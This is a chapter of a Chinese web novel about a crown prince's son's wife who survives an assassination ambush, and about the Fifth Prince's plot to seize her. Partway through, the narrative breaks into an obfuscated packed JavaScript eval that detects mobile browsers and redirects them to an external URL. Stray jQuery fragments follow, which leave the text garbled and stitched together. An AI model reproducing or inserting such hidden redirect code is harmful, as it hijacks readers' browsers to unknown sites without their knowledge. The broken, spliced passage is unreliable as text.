17. 英雄救美

作品:《世子妃今天还能摆烂吗

    眼见利箭要从她的身体穿过,裴知行用力将她扯进怀中,陆棠宁的心仿佛要跳出来一般。


    她心有余悸,回过头看向茯苓,刚想安慰她,就见茯苓紧紧将她护在身后:“小姐,等马车跑出后就跳车。”


    说罢,她掀开车帘,翻身下车,用力拍向马儿的屁股,同时大叫:“世子妃在这里!”


    她将火力全都吸引到自己身上,刺客全都看过来,马儿趁机冲出包围。


    陆棠宁心惊想要回头去看,却被裴知行死死拉住:“听茯苓的。”


    马儿疾驰,颠簸的、呼啸的风声似乎在哭泣,裴知行时刻关注着外面的情况,选了一块稍微平坦些的地方,抱着她跳下马车。


    他闭上眼等待着疼痛的降临,却眼看着自己的身体融入土地,双目瞪圆,急忙低头看向怀中的女孩,女孩被重重摔倒在地,发出重重地闷哼声。


    “陆棠宁!”他忍不住叫着她的名字,然后将她扶起,四处打量,焦急道,“快告诉我,哪里受伤了?”


    陆棠宁被他扶着勉强坐起来,她的脑袋晕得厉害,裴知行心疼地看向她被擦伤的脸颊和掌心,指腹轻轻碰了碰:“疼不疼?”


    她摇头,这时,裴知行才看到她的膝盖,血几乎染红了白裙,他想撕下块布给她包扎,却再次落了空。


    陆棠宁瞧见,却并不在意:“我们得赶紧去找人,茯苓还等着我们呢。”


    急促又杂乱的马蹄声,她立即抬头去看,只见一队人马朝着事发的地方疾驰而去,留下飞扬的尘土。


    她用手扇了扇:“有人往那边去了,我们赶紧回去。”


    疾驰的队伍中,卫骁突然道:“殿下,我刚才好像在那边看到一个女人。”


    马镗反驳道:“管那个女人作甚?别坏了殿下的大计。”


    为首之人问道:“计划实行的如何了?人拦下了吗?”


    卫骁:“回殿下,让他们掂量着来的,绝不会伤了世子妃。”


    为首之人:“那就好。”


    马镗大笑道:“等她成了殿下的女人,到时候燕王府的势力和丞相府的势力可都是殿下的了,何谈大业不成?”


    卫骁:“可她不过是燕王府的世子妃,若是燕王府舍弃她,我们岂不是多此一举?”


    “上次之事足以看出燕王府对她的重视,而且,此等美人尝尝鲜也是不错的。”


    说罢,几人哈哈大笑起来。


    陆棠宁跟在马儿后面追了半天,也不见他们停下,只好咬牙继续追,突然,又一队人马经过。


    她立即抬头,顾不得其他,伸出双臂拦上去。


    裴知行的心脏骤停,一时情急,想要将她扑倒一旁,可已经来不及了,慌乱间,他抱紧马后腿。


    马儿仰天长啸,太子也被她吓了一跳,好在及时悬崖勒马,他俯首看去:“世子妃?”


    没有预料中的疼痛到来,陆棠宁睁开眼,只见裴知行喘着粗气朝她走来,她抬头看向太子,请求太子帮助。


    “你先别着急,孤随你前去救人。”太子让人将陆棠宁扶进马车。


    还没走多远,就听到有人在叫她的名字,是茯苓的声音,她欣喜若狂,连忙告知太子。


    果不其然,一下车就看到茯苓等人,她连忙招手:“我在这里——”


    “小姐。”茯苓冲过来将她抱住,又仔细看了看,心疼道,“怎么受了这么重得伤。”


    “我没事。”陆棠宁看向她,身上虽然沾了些血,但好在没受伤,“你没事就好。”


    “此事事关重大,孤得随你们前往现场查看一番,吴峰,去通报官府。”太子下令。


    茯苓为他们带路,很快来到了案发地点。


    事发之处,刺客尸体零零散散一地,远远地,陆棠宁便瞧见先前看到的一行人。


    “五弟。”太子叫道,“你怎么会在这儿?”


    是五皇子,陆棠宁一听到这个名字便心生恶心想要逃离,她强装镇定听着二人的对话,绝不插嘴。


    五皇子肆意打量了太子和陆棠宁两人:“既然大哥能出现在这里?我为何不能?”


    “本皇子听闻世子妃出了事,特来救人。毕竟是夭夭的妹妹,我总不好见死不救吧,你说呢?大哥。”


    太子脸色变得难看起来:“人,孤已经救了,你可以走了,孤已经报了官,这里会有人来处理。”


    五皇子冷笑一声,讥诮道:“常言道,朋友妻不可欺,我瞧着大哥对世子妃似乎,另眼相待啊。”


    太子闻言,铁青着脸:“五弟,饭可以乱吃,话不能乱讲,孤与世子妃清清白白,你休要信口雌黄。”


    五皇子闻言也不恼,纵身上马,笑道:“今日这英雄救美的好戏本皇子看够了,就先走了。”


    马蹄扬尘,陆棠宁忍不住咳嗽起来,她看着脸色不好的太子,也要告辞,太子怕她再出事,便让护卫护送她会燕王府。


    回到王府已经天黑,陆棠宁本意隐瞒此事,谁料还是让燕王妃知晓了,急匆匆赶来看她:“好端端的怎么遇上这样的事?”


    大夫正在帮陆棠宁处理伤口,疼得她龇牙咧嘴:“母妃,我没事,这不是平安回来了吗?”


    “我寻思你上次一个人出事,这次特意派了这么多人跟着,结果那些人居然还是贼心不死,真当我燕王府是吃素的,你放心,这事我定让你父王给你讨一个公道回来。”燕王妃只看了眼她血肉模糊的膝盖,忍不住掉下眼泪。


    陆棠宁闻言,简单将自己的猜想说出:“他们似乎并不打算要我的命,每次都是试探。可五皇子已经和丞相府联姻,我在丞相府哪里比得过陆桃夭,他盯着我作甚?”


    “傻孩子,你现在也是我燕王府的人,得到了你,便能拿捏住燕王府。朝堂之上,丞相府主文,陆丞相门生遍布朝堂之上,燕王府主武,大多数武将都曾经是王爷的手下,若能同时将这两方势力拿捏……”


    陆棠宁闻言,忽然想起那个预知梦,梦里她一直平安度日,到底是哪里出了岔子。


    她点头:“我知道了,母妃,往后定会更加小心行事,不让他们找到把柄。”


    “你先好好歇息,母妃暂且先帮你把上次的利息讨回来。”燕王妃说完离开。


    人都走了,陆棠宁才有心思去回忆今日的事,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468541|201351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她看向裴知行,道:“今天谢谢你。”


    裴知行一直紧绷着神经,闻言蹲下身子平视她:“对不起,若不是我,你或许就不会受这么重的伤。”


    陆棠宁眉眼弯弯,伸出被裹成粽子的右手,招了招:“你看我这样,以后打人都不会痛了呢。”


    裴知行被她逗笑:“你倒是和其他官家小姐不同。”


    陆棠宁收回手,随口问道:“是吗?那我在你心里是个什么样的女子呢?”


    裴知行倒是认真思考起来,道:“你有时和其他女子一样,温柔贤淑,尊老爱幼,谦逊有礼……”


    陆棠宁被他说得逐渐脸热起来,连忙打断,但她自认为对方说的都是真话,于是昂首道:“我知道。”


    语气激昂,裴知行瞧着她明媚的模样,嘴角也不自觉带了些笑意,但下一刻话锋一转:“但有时候你又有些得过且过、无所事事、睚眦必报……”


    他一边说着,一边紧紧盯着陆棠宁的神色,声音愈发小下来。


    陆棠宁没想到能听到自己这么多缺点,耷拉下脸,趴到桌上:“哦,我知道了。”


    裴知行不由自主地紧张起来,解释起来都有些口不择言:“我不是说你不好的意思,虽然你有些小缺点,但是个人都会有缺点,比如我,我也有很多……”


    他的话还没说完就被陆棠宁打断了:“我头晕,可能是今天不小心摔到脑袋了,我去休息了。”


    说完,她匆匆擦了下身子,上床休息,她偷摸摸向玉佩,果然不出她所料,又多了条裂痕。


    翌日午时过后,余舒婉人未到,笑声先行:“我跟你说,余家这下可出大乱子了!”


    她刚走进便瞧见陆棠宁将手偷偷藏到背后,以为她有什么秘密,强行拉出来,审问道:“你的伤不是好了吗?怎么又受伤了?”


    陆棠宁收回手:“我没事,你快说余家怎么了?”


    说起这事,余舒婉站着叉起腰,中气十足,骂道:“我就说余家那个两个老东西怎么突然想起来让我嫁人,敢情是和苏家做了不对等交易。


    “这京城谁不知道苏家那唯一的嫡子是个傻子,哪有好人家愿意将姑娘嫁给他家,偏偏前些个月,苏家大小姐攀附上你长姐,苏家也跟着水涨船高。”


    陆棠宁给她倒了杯茶水,问:“你是说,苏枝冉?”


    余舒婉站累了,于是坐下接着道“是啊,就是你认识的那个苏枝冉,听说她还总是针对你,下次若是让我瞧见她,定要她吃不了兜着走。


    说起来,苏家这次也是下了本钱,居然将余世琦送去了豪翰书院,说起来豪翰书院和你们丞相府关系匪浅,进去也就是陆桃夭的一句话。”


    陆棠宁很是认同:“但这关余家什么事?”


    余舒婉故作神秘道:“之前我不是派人去余家偷偷打听了吗,余舒柔跑出去后,余家就让青杏顶着余舒柔的名义嫁了过去。


    后来我还让人将这事大街小巷地传出去呢,结果也没起什么浪花,本来以为你这两关系牢不可破,结果你猜怎么着?”


    陆棠宁被她吊足了胃口,催促道:“你快说,到底怎么了?”